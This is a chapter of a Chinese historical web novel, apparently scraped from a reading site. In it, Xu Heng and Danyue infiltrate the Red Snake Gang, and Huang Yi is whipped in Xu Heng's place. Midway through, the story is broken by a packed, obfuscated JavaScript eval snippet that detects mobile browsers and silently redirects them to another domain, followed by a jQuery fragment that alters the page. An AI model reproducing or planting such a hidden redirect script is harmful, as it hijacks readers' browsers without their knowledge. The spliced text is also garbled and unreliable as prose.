白色里衣已经被血浸湿了一部分,一道道长的痕迹触目惊心,痕迹不难辨认,一看便知是鞭打所致。许恒咬着牙将衣服一点点抬起,只见里衣已经和血迹处粘连在一起,强行撕扯疼痛无比。
见他难得因为受伤而皱眉,淡月主动接过他的衣衫,道:“这样硬扯肯定会痛,我来吧。”
她用消毒的药水一点点先从里衣处浸湿,再慢慢抬起,处理那些鞭痕用了半个时辰的时间,才把止血药上好。过程中不光许恒紧咬嘴唇,就连淡月都是眉目紧锁着在处理伤口。
上完药后需得晾上片刻才能穿衣,淡月边收拾药箱边问道:“你腹部的伤不是和人搏斗来的吧?”
许恒的伤口明明跟止血药在对抗产生了剧烈的疼痛,他却仍然扯出一抹随意的微笑,“郡主还真是聪慧过人,非寻常女子可比。”
“别贫。”她用眼神瞥了一下他以示警告,“所以鞭伤是怎么来的?伤口看上去应该有好几个时辰了。”
避免许恒不说实话,她还特意用此前学到的判断伤口的经验来提醒他。
“真是瞒不过你。”他轻叹一声,“早上刚到那处,就看见所有人跪在地上,他们拜倒的方向被人用屏风挡了起来,后头许是位大人物。黄义把我拉到最前头,要我说出那位女子的下落。我如实相告,他们也确实将女子的尸首抬了上来,却还是被用了刑。”
淡月眼神凝重:“是我准备的人不像?”
他摇头的动作没有迟疑,眼眸里有一丝复杂的情绪:“不是。是屏风后头的人,不希望她死。”
淡月察觉到了什么,“你可知屏风后的人是谁?”
“不知。”
许恒回答得很快,但眼眸中闪过一丝错愕还是被淡月捕捉到了。
黄义当真是没有给一丝喘息的机会,次日一早,便来叩门叫许恒一起去。
这一次淡月拦在门前,很气恼:“他昨日又负伤而归,黄公子可是忘了曾经的承诺?”
黄义感到抱歉:“自然没忘。黄某也是记得许兄弟的好,但这次真不是我多事,而是昨日许兄弟与人打的那一架被帮主看中了,这可是因祸得福,就请许娘子通融通融。”
“你说什么?!帮主找我?!”许恒不知从哪处窜了出来,突然出现在淡月身后。
他正费力地套着麻布外衫,头发在风中凌乱飞舞,试了几次,受伤的那只胳膊怎么都穿不进去。他怕黄义笑话,主动说道:“这旧伤刚好再添新伤,惹得我娘子不痛快了,黄兄见笑了啊!”
许恒如今打扮像极了村野农夫,举止行为更是与黄义那般的人无异,如此接地气的模样惹得淡月不禁皱眉。可有外人在,她又不得不演戏,只能边皱眉嫌弃边替他穿好衣衫。
刚替他系好衣带,肩膀处便落下一双手,许恒正笑盈盈地说:“娘子莫恼,昨日虽说伤重,但我也算在帮主面前显了一回,这不,有了黄兄弟的引荐,说不准能飞黄腾达呢!”
黄义也跟着他嘿嘿笑着。
淡月背对着黄义,用眼神投射出疑问。
淡月:你到底有几条命可以丢?就不知道养伤之后再去吗?
许恒:能让帮主高看一眼,可是难得的机会,事不宜迟今日必须去。
淡月见他的眼神如此坚定,身子半退至一旁,撇过头不说话。
黄义见状连忙帮着兄弟说好话:“许娘子也别恼,得帮主召见那定是件好事,要是有危险,我比许兄弟年长些,肯定第一个冲上去!”
“知道了。”淡月没有回头,只是淡淡地回应。
许恒见她送了口,连忙挑眉示意黄义赶快走,二人一溜烟就跑没影了,只留下淡月一个人孤零零站在院中。
她转身将院门关好,站在院子里向外看,天空刚好被不算高的围墙挡住了三分之一。
“笼中鸟,院中人,各有各的身不由己。”
*
赤蛇帮驻地。
许恒跟着黄义一路前行,绕过很多岔路,才走到一处青石门前。两扇厚重的青石门紧闭,表面印刻着蟠螭纹,龙眼嵌着早已褪色的琉璃珠,在火把照耀下泛着死鱼般的浑浊光泽。
门口有四人把守着,守卫在确认了二人身份后,才旋转铜环将门打开。映入眼帘的是礼器阵列,残破的青铜器保持着送葬队形,直指正前方。原本应该摆放的棺椁处被放置上了一张大床,帷幔自上方的青砖垒砌的穹窿顶穿刺而下,轻盈地覆盖住床榻的四个角落。
方才一进门的光线不太足,许恒直到穿过青铜器阵列才看清床榻之上坐着的是一位身姿妖娆的女子。
他心下一惊。
赤蛇帮的帮主,竟然是位女子?!
黄义一把将许恒的身子拉下,双手置于胸前,微微颔首:“帮主,这位就是交派新来的人,许欢。”
许恒也学着他的手势,“许欢见过帮主。”
“嗯~”软榻之上传来女子轻柔的声音,衣服窸窣声紧随其后。
哒。
哒哒。
哒。
女子鞋底一般都会镶坠上触底有声的材质,越是清脆,证明材料用得越好,鞋的主人也越富有。
在陌生的环境,许恒不敢贸然抬头,只等那位越走越近的帮主开口。
“许...欢?”她的声音极具魅惑力,若是一般男子早觉着心下荡漾。
许恒的定力极好,他没有抬头只是单纯应答道:“是,帮主。”
“听说,你只出三拳就把别人的肋骨折了三根,还废了他一只手?”
“是他侮辱我妻在先,欺辱我交派在后,他不敌我,所以我只出三招,是生是死听天由命。”
许恒低着的头已经可以看见女子绯红的鞋尖。
只听她从鼻尖冒出一声冷哼,“倒是个好男儿,可我赤蛇帮自成立以来,可没有新人打老人的道理。你既入了帮,有些规矩不可不守,按照帮规,应鞭刑三十,罚跪殿前三日,不可吃喝。你可清楚?”
许恒眼色未变,“清楚。”
她的双足停在许恒面前,用纤细的手挑起许恒下巴,问道:“认罚?”
许恒的眼睛依旧看向地面,很是坚决:“认罚。”
又一声冷哼传来,帮主抽回手,冷脸道:“黄义,既然是你收的人,那你来替他受罚吧。”
黄义刚想答应,却被许恒一下按住肩膀,动弹不得。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787042|164853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只听许恒问道:“为什么?”
许恒破天荒抬起头,恰好对上女子的一双凤眼,眼尾特意的勾画让她的面容和声音一般勾人,肤白貌美的倾城之貌也是算得上的。只见她一袭红衣金丝点缀加身,发冠也是金色的,尽显女性的柔美与气质。可是,却与她此刻的身份很不符合。
见许恒抬起头,她的嘴角才勾起一抹微笑:“听见别人替你受罚,才终于肯抬起头了?”
许恒只是静静地看着她,没有回话。
她一甩宽袖转过身去,道:“你是个好苗子,一进来就帮了我个大忙。我却也是想为你心软一次,可若是为你去了这规矩,以后免不了有新来的生平。既然我不愿意让你受罚,不如就让你的引荐人代劳。毕竟今后,你或许比他要更有用一些。”
说完,她已回到软榻之上,斜倚靠在床边,用指尖捻起一旁圆润饱满的葡萄放入唇中。
许恒想再去争辩,却被黄义拦下,示意他不要再多话。黄义紧跟着说道:“黄义甘愿替许欢受罚。”
整整三十鞭,许恒就站在黄义的不远处,他被人拦着不能上前,只能眼睁睁看着鞭子挥起再落下。这是帮主的要求,她要他亲眼看着,因为自己的鲁莽害了人,是什么样的下场。
黄义疼得冷汗直冒,却没有一声轻哼从他的嘴边发出。
一旁的许恒背脊笔直而立,眼神一刻都没有从飞扬的鞭子上移开。昨日,这鞭子还是落在他的身上,今日却落在替他受罚的人身上。无论他和黄义之前有什么样的仇怨,此刻仿佛都被不公平的帮规所消磨,他的手指深深陷进掌心,手臂青筋未曾消失。
而始作俑者,就在那高台之上,品着茶、吃着水果、享受着婢女给她揉着腿,自始至终都在笑着欣赏,仿佛那是一场精美的马戏。
三十鞭结束,拦着许恒的人应声而退,他没有上前去扶起黄义,而是开口说道:“既然是因我而起,我便和黄兄一同罚跪。”
殿前的位置是在赤蛇帮的入口处,他们并排跪着,来来往往的帮众都能看见他们。此前与许恒争斗的是暗派之人,他们路过时咒骂着,有的还特意寻来一盆水,故意泼在二人身上,看着他们如同落汤鸡般的落魄模样,嬉笑着说他们碍了事。
整整三日,黄义面对他们的嘲讽面不改色,甚至还有余力平复许恒的怒气。渐渐地,许恒面对他们的手段就不那么在意了。可黄义方才挨了鞭子,身上血不断在冒,帮主不肯让他医治,他就那么足足挺了三天。
黄义却说:“这算什么,曾经我脚踏针板都挨过来了,那与上刀山有何分别?人活在世上,所求不外乎就是家人平安,我受多少苦难那都不重要。”
许是黄义此言打动了许恒,他头一次觉得,淡月曾说“他们或许是有苦衷的”的话,或许是对的。
淡月第一日像往常一样出行,回去后自己做了晚饭,等到三更天,许恒都没有回来。她就那么睁着眼等着,迷迷糊糊间等到天蒙蒙亮了,院落依然寂静万分。
可她方才拿到消息,必须在午时去赴约。走之前,特意留下字条,若是许恒回来也能知道她去了哪里。可待到日暮时分归家时,字条仍是完好无损地放在桌上。